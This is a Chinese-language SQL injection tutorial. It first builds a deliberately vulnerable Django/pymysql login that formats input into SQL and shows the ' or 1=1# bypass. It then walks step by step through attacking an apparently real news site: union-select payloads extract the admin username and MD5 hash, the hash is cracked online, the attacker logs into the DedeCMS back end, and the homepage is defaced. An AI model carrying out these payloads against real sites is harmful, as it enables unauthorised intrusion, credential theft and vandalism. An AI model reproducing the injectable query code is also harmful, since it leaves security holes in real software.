一、SQL注入攻擊
參考文章:
原文點擊 sql作為一種解釋型語言,在運行時是由一個運行時組件解釋語言代碼並執行其中包含的指令的語言。基於這種執行方式,產生了一系列叫做代碼注入(code injection)的漏洞 。它的數據其實是由程序員編寫的代碼和用戶提交的數據共同組成的。程序員在web開發時,沒有過濾敏感字符,綁定變量,導致攻擊者可以通過sql靈活多變的語法,構造精心巧妙的語句,不擇手段,達成目的,或者通過系統報錯,返回對自己有用的信息。 我們在學JDBC和SQL時,講師跟我們說 Statement不能防止SQL注入, PreparedStatement能夠防止SQL注入. 沒錯, 這句話是沒有問題的, 但到底如何進行SQL注入?怎么直觀的去了解SQL注入?這還是需要花一定的時間去實驗的.預編譯語句java.sql.PreparedStatement ,擴展自 Statement,不但具有 Statement 的所有能力而且具有更強大的功能。不同的是,PreparedStatement 是在創建語句對象的同時給出要執行的sql語句。這樣,sql語句就會被系統進行預編譯,執行的速度會有所增加,尤其是在執行大語句的時候,效果更加理想。而且PreparedStatement中綁定的sql語句是可以帶參數的。
二、構建SQL注入場景
注意:以下場景都不用ORM, Django orm 有防御sql 注入攻擊的功能
使用 pymysql 或構造執行原生 SQL語句
前端:
<div>
<form action="test.html" method="post">
{% csrf_token %}
<input type="text" name="username"/>
<input type="password" name="pwd"/>
<input type="submit" value="提交"/>
<input type="reset" value="重置"/>
</form>
</div>
后端:
#models.py數據庫 注意:表名為 (app01_test) Django會自動在類名前加 app名下划線作為表名
class Test(models.Model):
id = models.AutoField(primary_key=True)
name = models.CharField(max_length=32)
pwd = models.CharField(max_length=64)
#views.py
import pymysql
def test(request, *args, **kwargs):
username = request.GET.get("username", None)
password = request.GET.get("pwd", None)
connect = pymysql.connect(host='127.0.0.1', port=3306, user='root', password='123456', db='test',charset='utf8' )
cursor = connect.cursor()
# 黑客可通過user或者password輸入數據庫語句對數據非法利用
sql_sel = " select * from app01_test where name='{0}' and pwd='{1}';".format(username, password)
ret = cursor.execute(sql_sel)
return render(request, 'test.html', {"objs": ret})
2.2 准備工作好了
- SQL注入
填好正確的用戶名和密碼后,點擊提交,返回測試界面。
因為根據我們提交的用戶名和密碼被合成到SQL查詢語句當中之后是這樣的:
select * from app01_test where name='用戶名' and pwd='密碼';
很明顯,用戶名和密碼都和我們之前給出的一樣,肯定能夠成功登陸。但是,如果我們輸入一個錯誤的用戶名或密碼呢?很明顯,肯定登入不了吧。恩,正常情況下是如此,但是對於有SQL注入漏洞的網站來說,只要構造個特殊的“字符串”,照樣能夠成功登錄。
比如:在用戶名輸入框中輸入:’or 1=1#,密碼隨便輸入,這時候的合成后的SQL查詢語句為:
select * from app01_test where name='' or 1=1#' and pwd='';
語義分析:“#”在mysql中是注釋符,這樣井號后面的內容將被mysql視為注釋內容,這樣就不會去執行了,換句話說,以下的兩句sql語句等價:
select * from app01_test where name='' or 1=1#' and pwd='';
等價於
select * from app01_test where name='' or 1=1
因為1=1永遠都是成立的,即where子句總是為真,將該sql進一步簡化之后,等價如下select語句:
select * from app01_test
沒錯,該sql語句的作用是檢索users表中的所有字段
果不其然,我們利用萬能語句(’or 1=1#)能夠登錄!看到了吧,一個經構造后的sql語句竟有如此可怕的破壞力,相信你看到這后,開始對sql注入有了一個理性的認識了吧~
三、攻擊原理
正常登陸name框中填寫root,pwd為123 上面sql_sel = " select * from app01_test where name='{0}' and pwd='{1}' 就相當於select * from app01_test where name=root and pwd=123 進行查詢
但
如果name框中填寫root or 1=1 #,pwd 隨便輸入
上面sql_sel = " select * from app01_test where name='{0}' and pwd='{1}'
就相當於select * from app01_test where name=root or 1=1 # and pwd=123 進行查詢
這里的#相當於把后面的所有查詢包括password查詢給注釋,並且 or 1 = 1的查詢永遠是正確的,所以sql攻擊注入就完成了
通過這樣的方式就繞過了密碼檢查
所以設計SQL語句時不建議這樣設計,或者對特殊字符 #、or、and 等做特殊處理
四、實際操作
OK,前面鋪墊了那么多,算是給大家科普了。現在我們進行第二講,實戰演練。開始之前呢,有一個互動環節。現在請大家用自己的手機登錄 http://www.guoshang.tk 這個網址,簡單看下。待會等我們注入攻擊之后,再次登錄,好對比效果,對於sql注入攻擊有一個更加直觀的認識。
-(一)積極備戰
1、首先設置瀏覽器,工具--internet選項--安全--找到“顯示友好的http信息”,把前面的勾去掉;
2、打開谷歌,尋找注入點。為了節省時間,這里我已經事先找好目標點
http://www.guoshang.tk;
谷歌搜索小技巧:篩選關鍵字:"inurl:/news/read.php?id="
- (二)狼煙四起
1、我們打開這個網址,一個新聞網站,,我們點擊[百家爭鳴]板塊,這是一個國內外新聞速覽的欄目,好多時政的帖子,我們點擊一個,OK,現在進入單個帖子界面,首先我們看下當前帖子的URL地址,
http://www.guoshang.tk/news/read.php?id=50
可以看出這是一個動態URL,也就是說可以在地址欄中傳參,這是SQL注入的基本條件。
2、判斷是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。這兩句什么意思呢? 一個恆等式,一個恆不等式,敲入 and 1=1 帖子返回正常, and 1=2 時帖子返回出錯,說明sql語句被執行,程序沒有對敏感字符進行過濾。現在我們可以確定此處是一個SQL注入點,程序對帶入的參數沒有做任何處理,直接帶到數據庫的查詢語句中。可以推斷出在訪問
http://www.guoshang.tk/news/read.php?id=50
時數據庫中執行的SQL語句大概是這樣的:
Select * from [表名] where id=50
添加and 1=1后的SQL語句:
Select * from [表名] where id=50 and 1=1
由於條件and 1=1永遠為真,所以返回的頁面和正常頁面是一致的
添加and 1=2后的SQL語句:
Select * from [表名] where id=50 and 1=2
由於條件1=2永遠為假,所以返回的頁面和正常頁面不一致
3、爆數據庫。確定注入點僅僅意味着開始。現在,我們回到原先的帖子地址:
http://www.guoshang.tk/news/read.php?id=50
現在要判斷數據庫類型以及版本,構造語句如下:
http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51
發現返回正常頁面,說明數據庫是mysql,並且版本大於4.0,支持union查詢,反之是4.0
以下版本或者其他類型數據庫。
4、爆字段。接着我們再構造如下語句來猜表中字段:
- http://www.guoshang.tk/news/read.php?id=50 order by 10
返回錯誤頁面,說明字段小於10 - http://www.guoshang.tk/news/read.php?id=50 order by 5
返回正常頁面,說明字段介於5和10之間 - http://www.guoshang.tk/news/read.php?id=50 order by 7
返回錯誤頁面,說明字段大於5小於7,可以判斷字段數是6.下面我們再來確認一下 - http://www.guoshang.tk/news/read.php?id=50 order by 6
返回正常頁面,說明字段確實是6這里采用了“二分查找法”,這樣可以減少判斷次數,節省時間。如果采用從order by 1依次增加數值的方法來判斷,需要7次才可以確定字段數,采用“二分查找法”只需要4次就夠。當字段數很大時,二分查找法的優勢更加明顯,效率更高。
5、爆表.確定字段之后現在我們要構造聯合查詢語句(union select ),語句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
我們來看帖子頁面,原先內容沒有了,取而代之的是返回給了我們 三個數字,分別是3,5,6 我們隨便選擇一個,這里的3,5,6指的是我們可以把聯合查詢的對應位置替換為 我們想要查詢的關鍵字,比如版本,數據庫名稱,主要是用來探測web系統的信息。
6、爆用戶名、密碼。我們選擇3 吧,OK,現在把3給替換掉,先查詢下數據庫庫名,構造語句如下
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6
瀏覽器給我們返回了 xinwen 。說明這個網站 的數據庫庫名是 xinwen .
現在我們用同樣的手法查詢下 管理員信息 ,構造語句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,user(),4,5,6
返回 root@localhost ,是個管理員權限。
現在我們再用同樣的手法查詢用戶名,密碼,構造語句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,username,4,5,6 from admin
返回 admin
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin
返回 B2E5B76793EDA747382E81391AA3A400
7、md5解密。看到這里,有的同學可能會有點緊張。其實返回的這個是字符串密碼經過32位md5加密后的值。上次李翊大帝給我們復習的時候 講過加密與解密。也稍稍提到了md5 摘要算法,不可逆。話雖如此,現在互聯網上crack md5 “解密”md5 的網站很多,這里我給解密加了引號,是因為其“解密”原理是 md5 值既然不能進行 逆向破解,但是同樣的字符串經過同樣的md5加密算法所生成的md5值是一樣的,我們可以重新構造字符串生成md5值,然后對比兩個值,如果一樣則字符串一樣。有人說,這種方法豈不是海底撈針,試到猴年馬月去啊,其實不然,互聯網雲時代已經到來,大數據的信息挖掘以及分布式運算可以解決很多類似大運算量的問題。我們現在就要來對這個md5值進行比對,有好多網站提供這種服務,我們找一個。(http://www.md5.com.cn ) 這個網址,我們把這個值復制進去,然后點擊“MD5 CRACK“,“解密”時間,視密碼復雜度而定,OK,結果出來,(chinaadmin)
8、登錄后台。現在我們已經拿到網站的管理員帳號密碼,感謝上帝,一路順風,但還不能高興得太早。很多情況是你雖然拿到了鑰匙,但是找不到門。下面我們就來找一下門,找之前要有個基本思路:
①先試下幾個比較常用的目錄;
②不行的話,因為這個論壇程序是dedecms5.6 ,所以我們就到 織夢官方,下載一套同樣程序, 分析網站管理路徑,或者直接百度“dedecms默認管理界面”即可,下載步驟可省略;
③手工不通,借力工具。明小子,啊D,御劍,都可以。
9、這里我們發現此網站依然采用程序默認管理路徑:
http://www.guoshang.tk/dede
輸入用戶名 admin ,密碼 chinaadmin 成功登入。
接下來,我們找到【核心】--【附件管理】--【文件式管理器】--這時我們可以看到網站根目錄下所有目錄以及文件,下標欄還有幾個功能選項,我們可以看到網站首頁文件【index.html】,點擊【修改】,進入網頁源代碼編輯模式,刪除所有源碼(這招有點毒,勸告別改人家的源碼,建議新建一個文件),留個言,表示到此一游。